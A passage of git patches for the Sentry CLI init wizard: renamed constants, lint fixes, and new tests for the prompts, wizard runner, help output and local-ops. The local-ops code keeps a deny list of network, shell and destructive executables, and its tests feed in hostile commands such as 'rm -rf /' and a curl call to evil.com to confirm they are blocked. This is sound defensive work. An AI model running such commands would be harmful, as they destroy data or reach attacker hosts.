EXIT_PLATFORM_NOT_DETECTED) { log.warn( "Hint: Could not detect your project's platform. Check that the directory contains a valid project." ); - } else if (exitCode === 30) { + } else if (exitCode === EXIT_DEPENDENCY_INSTALL_FAILED) { const commands = inner?.commands as string[] | undefined; if (commands?.length) { log.warn( `You can install dependencies manually:\n${commands.map((cmd) => ` $ ${cmd}`).join("\n")}` ); } - } else if (exitCode === 50) { + } else if (exitCode === EXIT_VERIFICATION_FAILED) { log.warn("Hint: Fix the verification issues and run 'sentry init' again."); } diff --git a/src/lib/init/interactive.ts b/src/lib/init/interactive.ts index 6662e176..6fe9013c 100644 --- a/src/lib/init/interactive.ts +++ b/src/lib/init/interactive.ts @@ -9,6 +9,7 @@ import { confirm, log, multiselect, select } from "@clack/prompts"; import chalk from "chalk"; import { abortIfCancelled, featureHint, featureLabel } from "./clack-utils.js"; +import { REQUIRED_FEATURE } from "./constants.js"; import type { InteractivePayload, WizardOptions } from "./types.js"; export async function handleInteractive( @@ -84,8 +85,7 @@ async function handleMultiSelect( return { features: [] }; } - const requiredFeature = "errorMonitoring"; - const hasRequired = available.includes(requiredFeature); + const hasRequired = available.includes(REQUIRED_FEATURE); if (options.yes) { log.info( @@ -94,12 +94,12 @@ async function handleMultiSelect( return { features: available }; } - const optional = available.filter((f) => f !== requiredFeature); + const optional = available.filter((f) => f !== REQUIRED_FEATURE); const hints: string[] = []; if (hasRequired) { hints.push( - chalk.dim(` ${featureLabel(requiredFeature)} is always included`) + chalk.dim(` ${featureLabel(REQUIRED_FEATURE)} is always included`) ); } hints.push(chalk.dim(" space=toggle, a=all, enter=confirm")); @@ -116,8 +116,8 @@ async function handleMultiSelect( }); const chosen = abortIfCancelled(selected); - if (hasRequired && !chosen.includes(requiredFeature)) { - chosen.unshift(requiredFeature); + if (hasRequired && !chosen.includes(REQUIRED_FEATURE)) { + chosen.unshift(REQUIRED_FEATURE); } return { features: chosen }; diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index b2593be1..c85ffa11 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -11,7 +11,7 @@ import path from "node:path"; import { DEFAULT_COMMAND_TIMEOUT_MS, MAX_FILE_BYTES, - MAX_STDOUT_BYTES, + MAX_OUTPUT_BYTES, } from "./constants.js"; import type { ApplyPatchsetPayload, @@ -298,14 +298,14 @@ function runSingleCommand( let stderrLen = 0; child.stdout.on("data", (chunk: Buffer) => { - if (stdoutLen < MAX_STDOUT_BYTES) { + if (stdoutLen < MAX_OUTPUT_BYTES) { stdoutChunks.push(chunk); stdoutLen += chunk.length; } }); child.stderr.on("data", (chunk: Buffer) => { - if (stderrLen < MAX_STDOUT_BYTES) { + if (stderrLen < MAX_OUTPUT_BYTES) { stderrChunks.push(chunk); stderrLen += chunk.length; } @@ -323,10 +323,10 @@ function runSingleCommand( child.on("close", (code) => { const stdout = Buffer.concat(stdoutChunks) .toString("utf-8") - .slice(0, MAX_STDOUT_BYTES); + .slice(0, MAX_OUTPUT_BYTES); const stderr = Buffer.concat(stderrChunks) .toString("utf-8") - .slice(0, MAX_STDOUT_BYTES); + .slice(0, MAX_OUTPUT_BYTES); resolve({ command, exitCode: code ?? 1, stdout, stderr }); }); }); diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 9add1df9..439e5810 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -11,7 +11,7 @@ export type WizardOptions = { stdin: NodeJS.ReadStream & { fd: 0 }; }; -// ── Local-op suspend payloads ────────────────────────────── +// Local-op suspend payloads export type LocalOpPayload = | ListDirPayload @@ -80,7 +80,7 @@ export type LocalOpResult = { data?: unknown; }; -// ── Interactive suspend payloads ─────────────────────────── +// Interactive suspend payloads export type InteractivePayload = { type: "interactive"; @@ -89,7 +89,7 @@ export type InteractivePayload = { [key: string]: unknown; }; -// ── Workflow run result ──────────────────────────────────── +// Workflow run result export type WorkflowRunResult = { status: "suspended" | "success" | "failed"; diff --git a/src/lib/init/wizard-runner.ts b/src/lib/init/wizard-runner.ts index 395808eb..ea38246f 100644 --- a/src/lib/init/wizard-runner.ts +++ b/src/lib/init/wizard-runner.ts @@ -13,7 +13,12 @@ import { CLI_VERSION } from "../constants.js"; import { getAuthToken } from "../db/auth.js"; import { formatBanner } from "../help.js"; import { STEP_LABELS, WizardCancelledError } from "./clack-utils.js"; -import { MASTRA_API_URL, SENTRY_DOCS_URL, WORKFLOW_ID } from "./constants.js"; +import { + MASTRA_API_URL, + SENTRY_DOCS_URL, + VERIFY_CHANGES_STEP, + WORKFLOW_ID, +} from "./constants.js"; import { formatError, formatResult } from "./formatters.js"; import { handleInteractive } from "./interactive.js"; import { handleLocalOp } from "./local-ops.js"; @@ -24,12 +29,12 @@ import type { WorkflowRunResult, } from "./types.js"; -type StepSpinner = ReturnType; +type Spinner = ReturnType; type StepContext = { payload: unknown; stepId: string; - s: StepSpinner; + spin: Spinner; options: WizardOptions; }; @@ -47,7 +52,7 @@ async function handleSuspendedStep( ctx: StepContext, stepPhases: Map ): Promise> { - const { payload, stepId, s, options } = ctx; + const { payload, stepId, spin, options } = ctx; const { type: payloadType, operation } = payload as { type: string; operation?: string; @@ -56,7 +61,7 @@ async function handleSuspendedStep( if (payloadType === "local-op") { const detail = operation ? ` (${operation})` : ""; - s.message(`${label}${detail}...`); + spin.message(`${label}${detail}...`); const localResult = await handleLocalOp(payload as LocalOpPayload, options); @@ -69,21 +74,21 @@ async function handleSuspendedStep( if (payloadType === "interactive") { // In dry-run mode, verification always fails because no files were written // (the server skips apply-patchset). Auto-continue since this is expected. - if (options.dryRun && stepId === "verify-changes") { + if (options.dryRun && stepId === VERIFY_CHANGES_STEP) { return { action: "continue", _phase: nextPhase(stepPhases, stepId, ["apply"]), }; } - s.stop(label); + spin.stop(label); const interactiveResult = await handleInteractive( payload as InteractivePayload, options ); - s.start("Processing..."); + spin.start("Processing..."); return { ...interactiveResult, @@ -91,7 +96,7 @@ async function handleSuspendedStep( }; } - s.stop("Error", 1); + spin.stop("Error", 1); log.error(`Unknown suspend payload type "${payloadType}"`); cancel("Setup failed"); throw new WizardCancelledError(); @@ -144,17 +149,17 @@ export async function runWizard(options: WizardOptions): Promise { const workflow = client.getWorkflow(WORKFLOW_ID); const run = await workflow.createRun(); - const s = spinner(); + const spin = spinner(); let result: WorkflowRunResult; try { - s.start("Connecting to wizard..."); + spin.start("Connecting to wizard..."); result = (await run.startAsync({ inputData: { directory, force, yes, dryRun, features }, tracingOptions, })) as WorkflowRunResult; } catch (err) { - s.stop("Connection failed", 1); + spin.stop("Connection failed", 1); log.error(errorMessage(err)); cancel("Setup failed"); return; @@ -169,14 +174,14 @@ export async function runWizard(options: WizardOptions): Promise { const payload = extractSuspendPayload(result, stepId); if (!payload) { - s.stop("Error", 1); + spin.stop("Error", 1); log.error(`No suspend payload found for step "${stepId}"`); cancel("Setup failed"); return; } const resumeData = await handleSuspendedStep( - { payload, stepId, s, options }, + { payload, stepId, spin, options }, stepPhases ); @@ -190,25 +195,25 @@ export async function runWizard(options: WizardOptions): Promise { if (err instanceof WizardCancelledError) { return; } - s.stop("Cancelled", 1); + spin.stop("Cancelled", 1); log.error(errorMessage(err)); cancel("Setup failed"); return; } - handleFinalResult(result, s); + handleFinalResult(result, spin); } -function handleFinalResult(result: WorkflowRunResult, s: StepSpinner): void { +function handleFinalResult(result: WorkflowRunResult, spin: Spinner): void { const output = result as unknown as Record; const inner = (output.result as Record) ?? output; const hasError = result.status !== "success" || inner.exitCode; if (hasError) { - s.stop("Failed", 1); + spin.stop("Failed", 1); formatError(output); } else { - s.stop("Done"); + spin.stop("Done"); formatResult(output); } } From 441ea885d40a37a956d7baa6a764dd11e2480a9c Mon Sep 17 00:00:00 2001 From: betegon Date: Fri, 27 Feb 2026 19:28:13 +0100 Subject: [PATCH 33/34] fix: resolve lint and format errors in local-ops - Move regex to top-level constant (useTopLevelRegex) - Remove unused template literal (noUnusedTemplateLiteral) - Replace explicit `return undefined` with bare `return` (noUselessUndefined) - Apply formatter to both source and test files Co-Authored-By: Claude Opus 4.6 --- src/lib/init/local-ops.ts | 82 ++++++++++++++++++++++++--------- test/lib/init/local-ops.test.ts | 8 +++- 2 files changed, 65 insertions(+), 25 deletions(-) diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index c85ffa11..429bea2f 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -28,40 +28,76 @@ import type { * Shell metacharacters that enable chaining, piping, substitution, or redirection. * All legitimate install commands are simple single commands that don't need these. */ -const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = [ - { pattern: ";", label: "command chaining (;)" }, - // Check multi-char operators before single `|` so labels are accurate - { pattern: "&&", label: "command chaining (&&)" }, - { pattern: "||", label: "command chaining (||)" }, - { pattern: "|", label: "piping (|)" }, - { pattern: "`", label: "command substitution (`)" }, - { pattern: "$(", label: "command substitution ($()" }, - { pattern: "\n", label: "newline" }, - { pattern: "\r", label: "carriage return" }, -]; +const SHELL_METACHARACTER_PATTERNS: Array<{ pattern: string; label: string }> = + [ + { pattern: ";", label: "command chaining (;)" }, + // Check multi-char operators before single `|` so labels are accurate + { pattern: "&&", label: "command chaining (&&)" }, + { pattern: "||", label: "command chaining (||)" }, + { pattern: "|", label: "piping (|)" }, + { pattern: "`", label: "command substitution (`)" }, + { pattern: "$(", label: "command substitution ($()" }, + { pattern: "\n", label: "newline" }, + { pattern: "\r", label: "carriage return" }, + ]; + +const WHITESPACE_RE = /\s+/; /** * Executables that should never appear in a package install command. */ const BLOCKED_EXECUTABLES = new Set([ // Destructive - "rm", "rmdir", "del", + "rm", + "rmdir", + "del", // Network/exfil - "curl", "wget", "nc", "ncat", "netcat", "socat", "telnet", "ftp", + "curl", + "wget", + "nc", + "ncat", + "netcat", + "socat", + "telnet", + "ftp", // Privilege escalation - "sudo", "su", "doas", + "sudo", + "su", + "doas", // Permissions - "chmod", "chown", "chgrp", + "chmod", + "chown", + "chgrp", // Process/system - "kill", "killall", "pkill", "shutdown", "reboot", "halt", "poweroff", + "kill", + "killall", + "pkill", + "shutdown", + "reboot", + "halt", + "poweroff", // Disk - "dd", "mkfs", "fdisk", "mount", "umount", + "dd", + "mkfs", + "fdisk", + "mount", + "umount", // Remote access - "ssh", "scp", "sftp", + "ssh", + "scp", + "sftp", // Shells - "bash", "sh", "zsh", "fish", "csh", "dash", + "bash", + "sh", + "zsh", + "fish", + "csh", + "dash", // Misc dangerous - "eval", "exec", "env", "xargs", + "eval", + "exec", + "env", + "xargs", ]); /** @@ -77,16 +113,16 @@ export function validateCommand(command: string): string | undefined { } // Layer 2: Block dangerous executables - const firstToken = command.trimStart().split(/\s+/)[0]; + const firstToken = command.trimStart().split(WHITESPACE_RE)[0]; if (!firstToken) { - return `Blocked command: empty command`; + return "Blocked command: empty command"; } const executable = path.basename(firstToken); if (BLOCKED_EXECUTABLES.has(executable)) { return `Blocked command: disallowed executable "${executable}" — "${command}"`; } - return undefined; + return; } /** diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index b6b8d8d6..9a5a186e 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -64,12 +64,16 @@ describe("validateCommand", () => { test("resolves path-prefixed executables", () => { // Safe executables with paths pass - expect(validateCommand("./venv/bin/pip install sentry-sdk")).toBeUndefined(); + expect( + validateCommand("./venv/bin/pip install sentry-sdk") + ).toBeUndefined(); expect(validateCommand("/usr/local/bin/npm install foo")).toBeUndefined(); // Dangerous executables with paths are still blocked expect(validateCommand("./venv/bin/rm -rf /")).toContain('"rm"'); - expect(validateCommand("/usr/bin/curl https://evil.com")).toContain('"curl"'); + expect(validateCommand("/usr/bin/curl https://evil.com")).toContain( + '"curl"' + ); }); test("blocks empty and whitespace-only commands", () => { From 184dff65c709e5ee89e6e510124f509510e64122 Mon Sep 17 00:00:00 2001 From: betegon Date: Fri, 27 Feb 2026 20:28:34 +0100 Subject: [PATCH 34/34] test(init): add comprehensive tests for init wizard coverage Add tests for local-ops (FS operations, command execution, patchset application), formatters (result/error display), help (banner/custom help output), interactive prompts (select/multiselect/confirm), and wizard-runner (TTY check, success/error paths, suspend/resume loop). Co-Authored-By: Claude Opus 4.6 --- test/isolated/init-interactive.test.ts | 298 +++++++++++ test/isolated/init-wizard-runner.test.ts | 351 +++++++++++++ test/lib/help.test.ts | 113 +++++ test/lib/init/formatters.test.ts | 171 +++++++ test/lib/init/local-ops.test.ts | 611 ++++++++++++++++++++++- 5 files changed, 1542 insertions(+), 2 deletions(-) create mode 100644 test/isolated/init-interactive.test.ts create mode 100644 test/isolated/init-wizard-runner.test.ts create mode 100644 test/lib/help.test.ts create mode 100644 test/lib/init/formatters.test.ts diff --git a/test/isolated/init-interactive.test.ts b/test/isolated/init-interactive.test.ts new file mode 100644 index 00000000..c914f3e1 --- /dev/null +++ b/test/isolated/init-interactive.test.ts @@ -0,0 +1,298 @@ +/** + * Isolated tests for init wizard interactive prompts. + * + * Uses mock.module() to stub @clack/prompts — kept isolated so the + * module-level mock does not leak into other test files. + */ + +import { beforeEach, describe, expect, mock, test } from "bun:test"; +import type { WizardOptions } from "../../src/lib/init/types.js"; + +// Controllable mock implementations — reset per test via beforeEach +let selectImpl: ReturnType; +let multiselectImpl: ReturnType; +let confirmImpl: ReturnType; +const logMock = { info: mock(), error: mock(), warn: mock() }; +const cancelMock = mock(); + +mock.module("@clack/prompts", () => ({ + select: (...args: unknown[]) => selectImpl(...args), + multiselect: (...args: unknown[]) => multiselectImpl(...args), + confirm: (...args: unknown[]) => confirmImpl(...args), + log: logMock, + cancel: (...args: unknown[]) => cancelMock(...args), + isCancel: (v: unknown) => v === Symbol.for("cancel"), + note: mock(), + outro: mock(), + intro: mock(), + spinner: () => ({ start: mock(), stop: mock(), message: mock() }), +})); + +const { handleInteractive } = await import("../../src/lib/init/interactive.js"); + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: false, + dryRun: false, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + ...overrides, + }; +} + +beforeEach(() => { + selectImpl = mock(() => Promise.resolve("default")); + multiselectImpl = mock(() => Promise.resolve([])); + confirmImpl = mock(() => Promise.resolve(true)); + logMock.info.mockClear(); + logMock.error.mockClear(); + logMock.warn.mockClear(); + cancelMock.mockClear(); +}); + +describe("handleInteractive dispatcher", () => { + test("returns cancelled for unknown kind", async () => { + const result = await handleInteractive( + { type: "interactive", prompt: "test", kind: "unknown" as "select" }, + makeOptions() + ); + expect(result).toEqual({ cancelled: true }); + }); +}); + +describe("handleSelect", () => { + test("auto-selects single option with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["my-app"], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ selectedApp: "my-app" }); + expect(logMock.info).toHaveBeenCalled(); + }); + + test("cancels with --yes when multiple options exist", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ cancelled: true }); + expect(logMock.error).toHaveBeenCalled(); + }); + + test("cancels when options list is empty", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: [], + }, + makeOptions() + ); + + expect(result).toEqual({ cancelled: true }); + }); + + test("uses apps array names when options not provided", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + apps: [{ name: "express-app", path: "/app", framework: "Express" }], + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ selectedApp: "express-app" }); + }); + + test("calls clack select in interactive mode", async () => { + selectImpl = mock(() => Promise.resolve("vue")); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ selectedApp: "vue" }); + expect(selectImpl).toHaveBeenCalled(); + }); + + test("throws WizardCancelledError on user cancellation", async () => { + selectImpl = mock(() => Promise.resolve(Symbol.for("cancel"))); + + await expect( + handleInteractive( + { + type: "interactive", + prompt: "Choose app", + kind: "select", + options: ["react", "vue"], + }, + makeOptions({ yes: false }) + ) + ).rejects.toThrow("Setup cancelled"); + }); +}); + +describe("handleMultiSelect", () => { + test("auto-selects all features with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ], + }, + makeOptions({ yes: true }) + ); + + expect(result.features).toEqual([ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ]); + }); + + test("returns empty features when none available", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [], + }, + makeOptions() + ); + + expect(result).toEqual({ features: [] }); + }); + + test("prepends errorMonitoring when available but not user-selected", async () => { + // User selects only sessionReplay, but errorMonitoring is available (required) + multiselectImpl = mock(() => Promise.resolve(["sessionReplay"])); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: [ + "errorMonitoring", + "performanceMonitoring", + "sessionReplay", + ], + }, + makeOptions({ yes: false }) + ); + + const features = result.features as string[]; + expect(features[0]).toBe("errorMonitoring"); + expect(features).toContain("sessionReplay"); + }); + + test("excludes errorMonitoring from multiselect options (always included)", async () => { + multiselectImpl = mock(() => Promise.resolve(["performanceMonitoring"])); + + await handleInteractive( + { + type: "interactive", + prompt: "Select features", + kind: "multi-select", + availableFeatures: ["errorMonitoring", "performanceMonitoring"], + }, + makeOptions({ yes: false }) + ); + + // The options passed to multiselect should NOT include errorMonitoring + const callArgs = multiselectImpl.mock.calls[0][0] as { + options: Array<{ value: string }>; + }; + const values = callArgs.options.map((o: { value: string }) => o.value); + expect(values).not.toContain("errorMonitoring"); + expect(values).toContain("performanceMonitoring"); + }); +}); + +describe("handleConfirm", () => { + test("auto-confirms with addExample when prompt contains 'example' and --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Add an example error trigger?", + kind: "confirm", + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ addExample: true }); + }); + + test("auto-confirms with action: continue for non-example prompts with --yes", async () => { + const result = await handleInteractive( + { + type: "interactive", + prompt: "Continue with setup?", + kind: "confirm", + }, + makeOptions({ yes: true }) + ); + + expect(result).toEqual({ action: "continue" }); + }); + + test("returns addExample based on user choice for example prompts", async () => { + confirmImpl = mock(() => Promise.resolve(false)); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Add an example error trigger?", + kind: "confirm", + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ addExample: false }); + }); + + test("returns action: stop when user declines non-example prompt", async () => { + confirmImpl = mock(() => Promise.resolve(false)); + + const result = await handleInteractive( + { + type: "interactive", + prompt: "Continue with setup?", + kind: "confirm", + }, + makeOptions({ yes: false }) + ); + + expect(result).toEqual({ action: "stop" }); + }); +}); diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts new file mode 100644 index 00000000..be452c0a --- /dev/null +++ b/test/isolated/init-wizard-runner.test.ts @@ -0,0 +1,351 @@ +/** + * Isolated tests for the init wizard runner. + * + * Uses mock.module() to stub heavy dependencies (MastraClient, clack, handlers, + * auth, help). Kept isolated to avoid module-level mock leakage. + */ + +import { beforeEach, describe, expect, mock, spyOn, test } from "bun:test"; +import type { + WizardOptions, + WorkflowRunResult, +} from "../../src/lib/init/types.js"; + +// ── Clack mocks ──────────────────────────────────────────────────────────── +const spinnerMock = { + start: mock(), + stop: mock(), + message: mock(), +}; +const introMock = mock(); +const logMock = { info: mock(), warn: mock(), error: mock() }; +const cancelMock = mock(); + +mock.module("@clack/prompts", () => ({ + spinner: () => spinnerMock, + intro: introMock, + log: logMock, + cancel: cancelMock, + note: mock(), + outro: mock(), + select: mock(), + multiselect: mock(), + confirm: mock(), + isCancel: (v: unknown) => v === Symbol.for("cancel"), +})); + +// ── Handler mocks ────────────────────────────────────────────────────────── +const mockHandleLocalOp = mock(() => + Promise.resolve({ ok: true, data: { results: [] } }) +); +mock.module("../../src/lib/init/local-ops.js", () => ({ + handleLocalOp: mockHandleLocalOp, + validateCommand: () => { + /* noop mock */ + }, +})); + +const mockHandleInteractive = mock(() => + Promise.resolve({ action: "continue" }) +); +mock.module("../../src/lib/init/interactive.js", () => ({ + handleInteractive: mockHandleInteractive, +})); + +const mockFormatResult = mock(); +const mockFormatError = mock(); +mock.module("../../src/lib/init/formatters.js", () => ({ + formatResult: mockFormatResult, + formatError: mockFormatError, +})); + +mock.module("../../src/lib/db/auth.js", () => ({ + getAuthToken: () => "fake-token", + isAuthenticated: () => Promise.resolve(false), +})); + +mock.module("../../src/lib/help.js", () => ({ + formatBanner: () => "BANNER", +})); + +// ── MastraClient mock ────────────────────────────────────────────────────── +let mockStartResult: WorkflowRunResult = { status: "success" }; +let mockResumeResults: WorkflowRunResult[] = []; +let resumeCallCount = 0; +let startShouldThrow = false; + +mock.module("@mastra/client-js", () => ({ + MastraClient: class { + getWorkflow() { + return { + createRun: () => + Promise.resolve({ + startAsync: () => { + if (startShouldThrow) { + return Promise.reject(new Error("Connection refused")); + } + return Promise.resolve(mockStartResult); + }, + resumeAsync: () => { + const result = mockResumeResults[resumeCallCount] ?? { + status: "success", + }; + resumeCallCount += 1; + return Promise.resolve(result); + }, + }), + }; + } + }, +})); + +const { runWizard } = await import("../../src/lib/init/wizard-runner.js"); + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: true, // default to --yes to avoid TTY check + dryRun: false, + stdout: { write: () => true }, + stderr: { write: () => true }, + stdin: process.stdin, + ...overrides, + }; +} + +function resetAllMocks() { + spinnerMock.start.mockClear(); + spinnerMock.stop.mockClear(); + spinnerMock.message.mockClear(); + introMock.mockClear(); + logMock.info.mockClear(); + logMock.warn.mockClear(); + logMock.error.mockClear(); + cancelMock.mockClear(); + mockHandleLocalOp.mockClear(); + mockHandleInteractive.mockClear(); + mockFormatResult.mockClear(); + mockFormatError.mockClear(); + + mockStartResult = { status: "success" }; + mockResumeResults = []; + resumeCallCount = 0; + startShouldThrow = false; +} + +describe("runWizard", () => { + beforeEach(resetAllMocks); + + describe("TTY check", () => { + test("writes error to stderr when not TTY and not --yes", async () => { + const origIsTTY = process.stdin.isTTY; + Object.defineProperty(process.stdin, "isTTY", { + value: false, + configurable: true, + }); + + const stderrSpy = spyOn(process.stderr, "write"); + + await runWizard(makeOptions({ yes: false })); + + Object.defineProperty(process.stdin, "isTTY", { + value: origIsTTY, + configurable: true, + }); + + const written = stderrSpy.mock.calls.map((c) => String(c[0])).join(""); + stderrSpy.mockRestore(); + + expect(written).toContain("Interactive mode requires a terminal"); + + // Clean up the exitCode set by the wizard + process.exitCode = 0; + }); + }); + + describe("success path", () => { + test("calls formatResult when workflow completes successfully", async () => { + mockStartResult = { status: "success", result: { platform: "React" } }; + + await runWizard(makeOptions()); + + expect(mockFormatResult).toHaveBeenCalled(); + expect(mockFormatError).not.toHaveBeenCalled(); + }); + }); + + describe("error paths", () => { + test("calls formatError when workflow fails", async () => { + mockStartResult = { status: "failed", error: "workflow exploded" }; + + await runWizard(makeOptions()); + + expect(mockFormatError).toHaveBeenCalled(); + expect(mockFormatResult).not.toHaveBeenCalled(); + }); + + test("treats success with exitCode as error", async () => { + mockStartResult = { + status: "success", + result: { exitCode: 10 } as unknown, + }; + + await runWizard(makeOptions()); + + expect(mockFormatError).toHaveBeenCalled(); + }); + + test("handles connection error gracefully", async () => { + startShouldThrow = true; + + await runWizard(makeOptions()); + + expect(logMock.error).toHaveBeenCalledWith("Connection refused"); + expect(cancelMock).toHaveBeenCalledWith("Setup failed"); + }); + }); + + describe("suspend/resume loop", () => { + test("dispatches local-op payload to handleLocalOp", async () => { + mockStartResult = { + status: "suspended", + suspended: [["detect-platform"]], + steps: { + "detect-platform": { + suspendPayload: { + type: "local-op", + operation: "list-dir", + cwd: "/app", + params: { path: "." }, + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(mockHandleLocalOp).toHaveBeenCalled(); + const payload = mockHandleLocalOp.mock.calls[0][0] as { + type: string; + operation: string; + }; + expect(payload.type).toBe("local-op"); + expect(payload.operation).toBe("list-dir"); + }); + + test("dispatches interactive payload to handleInteractive", async () => { + mockStartResult = { + status: "suspended", + suspended: [["select-features"]], + steps: { + "select-features": { + suspendPayload: { + type: "interactive", + kind: "multi-select", + prompt: "Select features", + availableFeatures: ["errorMonitoring"], + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(mockHandleInteractive).toHaveBeenCalled(); + const payload = mockHandleInteractive.mock.calls[0][0] as { + type: string; + kind: string; + }; + expect(payload.type).toBe("interactive"); + expect(payload.kind).toBe("multi-select"); + }); + + test("falls back to result.suspendPayload when step payload missing", async () => { + mockStartResult = { + status: "suspended", + suspended: [["unknown-step"]], + steps: {}, + suspendPayload: { + type: "local-op", + operation: "read-files", + cwd: "/app", + params: { paths: ["package.json"] }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions()); + + expect(mockHandleLocalOp).toHaveBeenCalled(); + }); + + test("auto-continues verify-changes in dry-run mode", async () => { + mockStartResult = { + status: "suspended", + suspended: [["verify-changes"]], + steps: { + "verify-changes": { + suspendPayload: { + type: "interactive", + kind: "confirm", + prompt: "Changes look good?", + }, + }, + }, + }; + mockResumeResults = [{ status: "success" }]; + + await runWizard(makeOptions({ dryRun: true })); + + // handleInteractive should NOT be called — dry-run auto-continues + expect(mockHandleInteractive).not.toHaveBeenCalled(); + }); + + test("handles unknown suspend payload type", async () => { + mockStartResult = { + status: "suspended", + suspended: [["some-step"]], + steps: { + "some-step": { + suspendPayload: { type: "alien", data: 42 }, + }, + }, + }; + + await runWizard(makeOptions()); + + expect(logMock.error).toHaveBeenCalled(); + const errorMsg: string = logMock.error.mock.calls[0][0]; + expect(errorMsg).toContain("alien"); + }); + + test("handles missing suspend payload", async () => { + mockStartResult = { + status: "suspended", + suspended: [["empty-step"]], + steps: {}, + }; + + await runWizard(makeOptions()); + + expect(logMock.error).toHaveBeenCalled(); + const errorMsg: string = logMock.error.mock.calls[0][0]; + expect(errorMsg).toContain("No suspend payload"); + }); + }); + + describe("dry-run mode", () => { + test("shows dry-run warning on start", async () => { + mockStartResult = { status: "success" }; + + await runWizard(makeOptions({ dryRun: true })); + + expect(logMock.warn).toHaveBeenCalled(); + const warnMsg: string = logMock.warn.mock.calls[0][0]; + expect(warnMsg).toContain("Dry-run"); + }); + }); +}); diff --git a/test/lib/help.test.ts b/test/lib/help.test.ts new file mode 100644 index 00000000..61315f1d --- /dev/null +++ b/test/lib/help.test.ts @@ -0,0 +1,113 @@ +/** + * Help Output Tests + * + * Tests for the branded CLI help output including the ASCII banner, + * command generation from routes, and contextual examples. + */ + +import { describe, expect, test } from "bun:test"; +import { formatBanner, printCustomHelp } from "../../src/lib/help.js"; +import { useTestConfigDir } from "../helpers.js"; + +/** Strip ANSI escape sequences for content assertions */ +// biome-ignore lint/suspicious/noControlCharactersInRegex: ANSI escape codes use control chars by definition +const ANSI_RE = /\u001B\[[0-9;]*m/g; +function stripAnsi(str: string): string { + return str.replace(ANSI_RE, ""); +} + +describe("formatBanner", () => { + test("returns 6 rows matching the SENTRY ASCII art", () => { + const banner = formatBanner(); + const rows = banner.split("\n"); + expect(rows).toHaveLength(6); + }); + + test("contains the SENTRY block characters", () => { + const banner = stripAnsi(formatBanner()); + // The ASCII art spells out SENTRY using box-drawing chars + expect(banner).toContain("███████"); + }); + + test("is deterministic across calls", () => { + expect(formatBanner()).toBe(formatBanner()); + }); +}); + +describe("printCustomHelp", () => { + useTestConfigDir("help-test-"); + + test("writes output to the provided writer", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + expect(chunks.length).toBeGreaterThan(0); + expect(chunks.join("").length).toBeGreaterThan(0); + }); + + test("output contains the tagline", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("The command-line interface for Sentry"); + }); + + test("output contains registered commands", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + + // Should include at least some core commands from routes + expect(output).toContain("sentry"); + expect(output).toContain("auth"); + }); + + test("output contains docs URL", async () => { + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("cli.sentry.dev"); + }); + + test("shows login example when not authenticated", async () => { + // useTestConfigDir provides a clean env with no auth token + const chunks: string[] = []; + const writer = { + write: (s: string) => { + chunks.push(s); + return true; + }, + }; + + await printCustomHelp(writer); + const output = stripAnsi(chunks.join("")); + expect(output).toContain("sentry auth login"); + }); +}); diff --git a/test/lib/init/formatters.test.ts b/test/lib/init/formatters.test.ts new file mode 100644 index 00000000..d518ae98 --- /dev/null +++ b/test/lib/init/formatters.test.ts @@ -0,0 +1,171 @@ +/** + * Formatters Tests + * + * Tests for the init wizard output formatters. Since formatResult and + * formatError write to clack's output, we capture calls via spyOn on + * the imported @clack/prompts module. + */ + +import { afterEach, beforeEach, describe, 